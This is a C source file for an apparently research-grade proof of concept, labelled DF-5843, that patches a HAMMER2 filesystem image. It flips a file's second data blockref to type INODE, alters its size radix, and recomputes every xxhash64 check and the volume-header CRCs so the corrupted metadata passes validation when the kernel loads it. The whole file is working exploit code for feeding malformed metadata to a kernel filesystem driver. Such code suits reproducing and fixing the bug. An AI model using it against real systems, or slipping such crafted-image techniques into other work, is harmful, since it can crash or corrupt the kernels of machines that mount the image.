/*
 * DF-5843 PoC image patcher.
 *
 * Turns a hammer2 image containing a 128KB regular file into a crafted image
 * whose second direct data blockref (key 0x10000, file offset 64KB..128KB)
 * claims bref.type == HAMMER2_BREF_TYPE_INODE instead of DATA.
 *
 * Discovery-driven (no layout guesswork):
 *   file inode : meta.type==REGFILE(+0x50), meta.size==131072(+0x60),
 *                meta.name_len==nlen(+0x80), blockset(+0x200) has
 *                blockref[0]{DATA,key 0} and blockref[1]{DATA,key 0x10000}
 *   parent     : blockref{type==INODE, key==file meta.inum(+0x58)} whose
 *                data_off (low 6 bits = radix) points at the inode copy
 *
 * For each live copy: patch blockref[1].type DATA->INODE and recompute the
 * parent's xxhash64 check (XXH64(inode,1024,0x4d617474446c6c6e)) so the
 * modified inode data still validates on chain load.
 *
 * Build (guest):  cc -O -o mkbadimg mkbadimg.c \
 *                     /usr/src/sys/vfs/hammer2/xxhash/xxhash.c \
 *                     /usr/src/sys/libkern/icrc32.c
 * Usage:          ./mkbadimg <image> <filename>
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/stat.h>

#define XXH_HAMMER2_SEED 0x4d617474446c6c6eULL
#define BREF_DATA 3
#define BREF_INODE 1

typedef uint64_t hammer2_key_t;

extern unsigned long long h2_XXH64(const void *, size_t, unsigned long long);
#define XXH64 h2_XXH64
extern uint32_t iscsi_crc32(const void *, size_t);

/* Ported verbatim from sys/vfs/hammer2/hammer2_subr.c:hammer2_dirhash() */
static hammer2_key_t
dirhash(const char *aname, size_t len)
{
	uint32_t crcx;
	hammer2_key_t key;
	size_t i, j;

	key = 0;
	crcx = 0;
	for (i = j = 0; i < len; ++i) {
		if (aname[i] == '.' || aname[i] == '-' ||
		    aname[i] == '_' || aname[i] == '~') {
			if (i != j)
				crcx += iscsi_crc32(aname + j, i - j);
			j = i + 1;
		}
	}
	if (i != j)
		crcx += iscsi_crc32(aname + j, i - j);
	crcx |= 0x80000000U;
	key |= (hammer2_key_t)crcx << 32;

	crcx = iscsi_crc32(aname, len);
	crcx = crcx ^ (crcx << 16);
	key |= crcx & 0xFFFF0000U;
	key |= 0x8000U;
	return key;
}

static uint32_t le32(const unsigned char *p)
{
	return ((uint32_t)p[0] | ((uint32_t)p[1] << 8) |
		((uint32_t)p[2] << 16) | ((uint32_t)p[3] << 24));
}

static uint64_t le64(const unsigned char *p)
{
	uint64_t v = 0;
	int i;
	for (i = 7; i >= 0; --i)
		v = (v << 8) | p[i];
	return v;
}

static void wle64(unsigned char *p, uint64_t v)
{
	int i;
	for (i = 0; i < 8; ++i) {
		p[i] = v & 0xff;
		v >>= 8;
	}
}

static void wle32(unsigned char *p, uint32_t v)
{
	p[0] = v & 0xff;
	p[1] = (v >> 8) & 0xff;
	p[2] = (v >> 16) & 0xff;
	p[3] = (v >> 24) & 0xff;
}

#define FILE_SIZE 131072		/* 2 x 64KB data blocks */
#define BLKSET 0x200			/* u.blockset offset in inode data */

static int
is_file_inode(const unsigned char *ip, size_t nlen)
{
	const unsigned char *br0 = ip + BLKSET;
	const unsigned char *br1 = ip + BLKSET + 128;

	if (ip[0x00] != 0x01 || ip[0x01] != 0x00)	/* meta.version */
		return 0;
	if (ip[0x50] != 0x02)				/* REGFILE */
		return 0;
	if (le64(ip + 0x60) != FILE_SIZE)		/* meta.size */
		return 0;
	if (le64(ip + 0x68) == 0)			/* nlinks */
		return 0;
	/*
	 * The inode is detached (hardlink-style): its filename field holds
	 * the "0x%016jx" inum string, not the user-visible name.
	 */
	if (ip[0x80] != 18 || ip[0x81] != 0)
		return 0;
	if (memcmp(ip + 0x100, "0x", 2) != 0)
		return 0;
	if (br0[0] != BREF_DATA || le64(br0 + 8) != 0)
		return 0;
	if (br1[0] != BREF_DATA || le64(br1 + 8) != 0x10000)
		return 0;
	return 1;
}

int
main(int ac, char **av)
{
	const char *imgpath, *name;
	size_t nlen;
	int fd;
	struct stat st;
	unsigned char *m;
	hammer2_key_t lhc;
	uint64_t off;
	int ncopies = 0;
	int npatched = 0;

	if (ac != 3) {
		fprintf(stderr, "usage: mkbadimg <image> <filename>\n");
		return 2;
	}
	imgpath = av[1];
	name = av[2];
	nlen = strlen(name);

	fd = open(imgpath, O_RDWR);
	if (fd < 0) { perror("open img"); return 1; }
	if (fstat(fd, &st) < 0) { perror("fstat"); return 1; }
	m = mmap(NULL, st.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
	if (m == MAP_FAILED) { perror("mmap"); return 1; }

	lhc = dirhash(name, nlen);
	printf("dirhash('%s') = %016jx (informational)\n", name, (uintmax_t)lhc);

	/* Pass 1: locate every on-media copy of the file inode */
	for (off = 0; off + 1024 <= (uint64_t)st.st_size; off += 512) {
		uint64_t inum;
		unsigned char *ip;
		uint64_t newcheck;
		int nparent;

		if (!is_file_inode(m + off, nlen))
			continue;
		inum = le64(m + off + 0x58);
		ip = m + off;
		printf("file inode copy at %ju (0x%jx): inum=%ju\n",
		       (uintmax_t)off, (uintmax_t)off, (uintmax_t)inum);
		++ncopies;

	/* THE BUG INPUT: second data block claims to be an INODE */
	ip[BLKSET + 128] = BREF_INODE;
	/*
	 * Retarget the data_off radix from 16 (64KB data block) to 10
	 * (1024B inode) so the kernel instantiates the planted chain with
	 * HAMMER2_INODE_BYTES.  The check is recomputed by the fixpoint
	 * below (over the first 1024 bytes of the old data block).
	 */
	{
		uint64_t doff = le64(ip + BLKSET + 128 + 32);
		doff = (doff & ~(uint64_t)0x3F) | 10;
		wle64(ip + BLKSET + 128 + 32, doff);
	}
	printf("  blockref[1]: type DATA(%d) -> INODE(%d), radix -> 10\n",
	       BREF_DATA, BREF_INODE);
	++ncopies;

	/*
	 * Stale-copy check: only proceed if some bref references this copy.
	 */
	{
		uint64_t w;
		int live = 0;
		for (w = 0; w + 128 <= (uint64_t)st.st_size; w += 128) {
			unsigned char *bp = m + w;
			if ((le64(bp + 32) & ~(uint64_t)0x3F) == off) {
				live = 1;
				break;
			}
		}
		if (!live) {
			printf("  (stale copy, no parent bref)\n");
			goto next;
		}
	}
	++npatched;

	/*
	 * Check-tree fixpoint: repeatedly fix every xxhash64-checked bref
	 * whose child region no longer matches, plus the volume-header
	 * ICRCs, until nothing changes.  This propagates the modification
	 * upward through indirect blocks, inodes, the superroot and the
	 * volume header automatically.
	 */
	{
		int iter, changed;

		for (iter = 0; iter < 16; ++iter) {
			uint64_t w;

			changed = 0;
			for (w = 0; w + 128 <= (uint64_t)st.st_size;
			     w += 128) {
				unsigned char *bp = m + w;
				uint64_t doff, child, radix, csize;
				uint64_t want, have;
				int checkm;

				if (w < 65536) {
					/*
					 * Volume-header blockset brefs are
					 * covered by the vhdr ICRCs; fix
					 * them too (their child checks are
					 * xxhash64), just skip anything in
					 * the reserved header area itself.
					 */
					;
				}
				doff = le64(bp + 32);
				radix = doff & 0x3F;
				if (radix < 6 || radix > 16)
					continue;
				child = doff & ~(uint64_t)0x3F;
				if (child == 0)
					continue;
				if (child + (1ULL << radix) >
				    (uint64_t)st.st_size)
					continue;
				checkm = (bp[1] >> 4) & 15;
				if (checkm != 3)	/* XXHASH64 only */
					continue;
				csize = 1ULL << radix;
				want = XXH64(m + child, csize,
					     XXH_HAMMER2_SEED);
				have = le64(bp + 64);
				if (want != have) {
					printf("  fix bref @%ju (child %ju, "
					       "radix %ju): check %016jx -> "
					       "%016jx\n",
					       (uintmax_t)w, (uintmax_t)child,
					       (uintmax_t)radix,
					       (uintmax_t)have,
					       (uintmax_t)want);
					wle64(bp + 64, want);
					++changed;
				}
			}

			/*
			 * Volume header ICRCs (single copy at offset 0).
			 */
			{
				unsigned char *vh = m;
				uint32_t c;
				uint64_t have, want;

				c = iscsi_crc32(vh + 512, 512);
				have = le32(vh + 0x1E0 + 4 * 6);
				want = c;
				if (have != want) {
					wle32(vh + 0x1E0 + 4 * 6, (uint32_t)want);
					printf("  vhdr: icrc_sects[6]=%08x\n",
					       c);
					++changed;
				}
				c = iscsi_crc32(vh + 0, 512 - 4);
				have = le32(vh + 0x1E0 + 4 * 7);
				want = c;
				if (have != want) {
					wle32(vh + 0x1E0 + 4 * 7, (uint32_t)want);
					printf("  vhdr: icrc_sects[7]=%08x\n",
					       c);
					++changed;
				}
				c = iscsi_crc32(vh + 0, 65536 - 4);
				have = le32(vh + 0xFFFC);
				want = c;
				if (have != want) {
					wle32(vh + 0xFFFC, (uint32_t)want);
					printf("  vhdr: icrc_volheader=%08x\n",
					       c);
					++changed;
				}
			}
			if (!changed) {
				printf("  fixpoint reached after %d iters\n",
				       iter);
				break;
			}
		}
		if (changed) {
			fprintf(stderr, "FATAL: no fixpoint in 16 iters\n");
			return 1;
		}
	}
next:
	;
	}
	if (ncopies == 0) {
		fprintf(stderr, "FATAL: file inode not found in image\n");
		return 1;
	}
	if (npatched == 0) {
		fprintf(stderr, "FATAL: no live (parented) inode copy found\n");
		return 1;
	}
	if (msync(m, st.st_size, MS_SYNC) < 0)
		perror("msync (warning)");
	printf("image patched OK (%d copy(s), %d live)\n", ncopies, npatched);
	return 0;
}
